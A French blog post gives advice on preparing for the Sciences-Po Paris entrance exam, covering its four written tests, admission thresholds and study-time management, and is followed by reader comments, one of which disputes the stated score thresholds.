Saison 2 , le « retour » : Premiers conseils pour préparer Sciences-Po.

 Adossé aux épreuves du Baccalauréat, l’examen d’entrée au Collège universitaire de Sciences-po Paris  ne s’y substitue pas , d’une certaine manière il le complète et le prolonge.

Quatre épreuves constituent l’écrit : une épreuve dite d’ordre général, une dissertation d’Histoire , une épreuve de langue vivante et une épreuve à option ( à choisir entre Littérature, Mathématiques, Etude de Documents). Pour les candidats obtenant une moyenne de 14/20 à cet écrit, c’est l’admission directe. Pour ceux dont la moyenne se situerait entre 12/20 et 14/20 un oral de repêchage est prévu. Pour les autres , il faudra attendre l’entrée en Master pour retenter l’aventure.

Dans l’ensemble Sciences-Po se veut rassurant : Les critères d’évaluation (…) sont ceux qui sont utilisés lors du baccalauréat, même si le degré d’exigence est nettement plus élevé. Dès lors, c’est d’abord depuis l’enseignement reçu au lycée qu’il faut se préparer, et cela dès la première : La meilleure préparation à l’examen commence donc dès la classe de première… Mais un « esprit scolaire » ne suffit pas, mieux  ou pire ( ?) : « être un bon élève » est une condition nécessaire, pas suffisante. En effet :  L’ouverture d’esprit, la capacité à placer des faits dans leur contexte, la curiosité personnelle sont des qualités fortement appréciées. C’est évidemment cette curiosité-là qu’il convient d’alimenter.

Peu d’épreuves et des coefficients d’égale valeur rendent les calculs vains : il n’y a tout simplement aucun droit à l’erreur. Une seule note inférieure ou égale à 08/20 et tous les espoirs d’admission et d’admissibilité disparaissent. De fait, ce sont les étudiants complets qui sont évidemment recherchés : pas de  lacune , une véritable régularité dans les résultats. Mais peut-on vraiment garantir un résultat ? Certaines épreuves sont « mieux » notées que d’autres , les marges de progression ne sont pas les mêmes pour chaque discipline et surtout le retour sur « investissement » heure travaillée / note obtenue diffère considérablement selon que l’on prend du temps pour l’Histoire par exemple ou pour l’anglais. Rappelons que le temps presse et qu’il est, pour cette raison, précieux.

Plus de la moitié des étudiants se découragent parce qu’ils se sentent « submergés », alors qu’ils ont simplement perdu du temps à des tâches peu « rentables » sur le court terme. Je sais bien que ces métaphores « financières » qui suggèrent une rentabilité des efforts  hérissent les « belles âmes » pour qui les études s’inscrivent dans une gratuité passionnée. Sauf que  les jours se succèdent et le temps disponible pour  ajuster sa préparation aux attentes spécifiques de l’examen est limité. Comment « gérer » ( eh oui !) ce temps-là. Il faut nettement distinguer le moyen terme du court terme.

L’épreuve de langue réclame ainsi sur le moyen terme un effort quotidien . Trente minutes mais tous les jours. Les progrès seront lents mais spectaculaires en fin d’année.

L’épreuve d’ordre général autorise une préparation diffuse, elle repose surtout sur l’apprentissage des méthodes, un apprentissage effectué en classe de Philosophie ( techniques de la dissertation et du commentaire de texte).

L’épreuve d’Histoire qui traditionnellement repose davantage sur la mémoire ( encore que…Beaucoup de préjugés sur le sujet sont à revoir !) consomme énormément de temps disponible. Toute cette énergie est-elle toujours bien employée ? Ce qui est certain , c’est que le révisions nécessaires des connaissances sont souvent faites «  au denier moment », dans le très court terme. Ce n’est envisageable que si ces révisions ont déjà été préparées, balisées, par des lectures préalables.

Enfin, l’option , si elle a été bien choisie offre l’occasion de mettre en valeur ses qualités. On doit pouvoir compter sur elle pour gagner des points et pour prendre de l’avance.

En un mot : La langue vivante et l’option pour tenter la performance, l’Histoire et l’épreuve d’ordre général pour assurer sans prise de risque une note moyenne.

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11 thoughts on “Saison 2 , le « retour » : Premiers conseils pour préparer Sciences-Po.

  1. Très belle article! mais je voulais savoir que faire durant ces 30 minutes quotidiennes? (vocabulaire?article de presse? grammaire?)

  2. J’entre en première, et j’aimerais savoir si vous comptiez préciser un peu plus la préparation « dès la première » à l’examen Science Po ?
    Et d’autre part, aurons nous aussi des vidéos cette année ?
    Bien à vous.

  3. Pour l’anglais, il y a également le CNN STUDENT NEWS qui est plus scolaire mais traitant l’actualité avec le scripte qui va avec donc très bien pour débuter et s’exercer à la compréhension.

  4. Wouah ça met bien la pression pour l’année, on va bucher comme des malades !

    et oui, merci beaucoup de faire une saison 2 🙂

  5. Bonjour à tous, bonjour Mr Cobast, je vous écris aujourd’hui depuis le 27 rue St Guillaume (bibliothèque par ailleurs immense à mes yeux de Provinciale en première année !)

    Je lisais cet article par curiosité, et j’y ai trouvé quelques informations erronées. D’abord sur la question admission/admissibilité : le « seuil » que vous évoquez n’est plus à jour, cette année il semblerait qu’il faille avoir autour de 12 pour être admis d’office (ça a été mon cas avec 11,9 par exemple !)
    De même pour l’abandon de tout espoir avec une note en dessous de 8, puisque j’ai moi même récolté 7 en Histoire au concours. Après, c’est sûr qu’il faut cartonner dans les autres matières ou dans une seule (un incroyable 17 en culture g pour moi !) mais ne partez pas défaitistes, Sciences Po, on peut y arriver.

    J’ai été d’autant plus surprise que je n’étais pas une excellente élève au lycée, n’ayant eu « que » 15,4 au bac (riez, je vous assure que je suis parmi les moins bon ici :D)

    Pas de découragement, du boulot (ok, beaucoup de boulot), un poil de chance et ça roulera pour vous aussi !

  6. Oh my…cet article est très drôle à lire une fois qu’on a intégré je dois dire. Oulàlà, 30 minutes par jour devant CNN ? :O wooooow. Quelqu’un a fait ça, sérieusement, toute l’année, tous les jours ? :O Si oui, je veux le rencontrer. Vraiment. Essayer de comprendre, genre comment il fait. S’il est humain, tout ça. Une préparation dès la première ? Ah oui en fait vous déplacez la prépa de deux ans quoi…

    Gwen, ne t’inquiète pas, ce n’est pas si horrible que ça n’y parait. ^^

    @ Léa : c’est vrai qu’elle est bien mais elle est vraiment centrée sciences politiques : rien en langues, culture gé, littérature… :/

  7. Au niveau des prépas sciences po en ligne, auriez-vous une idée des points forts et faibles du panel disponible (CNED, Documentation Française…) ?
    Je vous remercie par avance.

  8. Bonjour,

    J’aurais souhaité savoir si, pour l’épreuve d’ordre général, il était impératif lorsqu’on parle par exemple de Spinoza, d’avoir lu le Traité Théologico-politique; ou bien lors d’un devoir sur la vertu aller chercher dans son cerveau des bribes de Ménon.
    En fait, la lecture assidue de textes de la tradition philosophique est-elle nécessaire pour la réussite à l’épreuve, ou une connaissance (solide) de l’oeuvre de ces penseurs est-elle suffisante ?
    D’avance merci,

    Quentin Abadie

  9. Bonjour,

    Pourriez-vous donner quelques indications sur l’entretien pour la procédure internationale ? Cette voie d’entrée demande certes moins d’efforts que le concours mais ne reste pas moins source de stress et d’interrogations.
    J’aimerais en particulier savoir si passer l’entretien en décembre, afin d’avoir les résultats en janvier ou février et de pouvoir au besoin préparer le concours des IEP de province est une bonne stratégie ou s’il vaut mieux se préparer à cet entretien plus longtemps quitte à devoir redoubler d’efforts pendant les derniers mois ?
    Merci d’avance.

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